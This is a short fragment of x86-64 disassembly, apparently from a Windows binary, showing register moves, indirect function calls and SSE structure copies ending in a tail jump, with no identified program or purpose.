mov qword [rbp + 0x28], rax
mov rcx, rax
mov qword [rbp + 0x30], rdx
call qword [rdx]
mov rax, qword [rbp + 0x30]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14000e1c4
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x28]
call fcn.140012070
jmp 0x14000e1c4
movaps xmm0, xmmword [rbp]
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x50]
lea r8, [0x1401c5de8]
lea rdx, [rbp - 0x20]
mov r9d, 8
call fcn.14017fb20
mov rax, qword [rdi + 0x30]
mov qword [rdi + 0x38], rax
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
movaps xmm2, xmmword [rbp - 0x30]
movaps xmmword [rdi], xmm0
movaps xmmword [rdi + 0x10], xmm1
movaps xmmword [rdi + 0x20], xmm2
mov qword [rdi + 0x40], 0
mov rax, 0xffffffffffffff00
add rax, qword [rdi + 0x30]
mov qword [rdi + 0x38], rax
mov rcx, rdi
mov edx, 6
mov r8, rsi
add rsp, 0xc0
pop rdi
pop rsi
pop rbp
jmp fcn.14017d630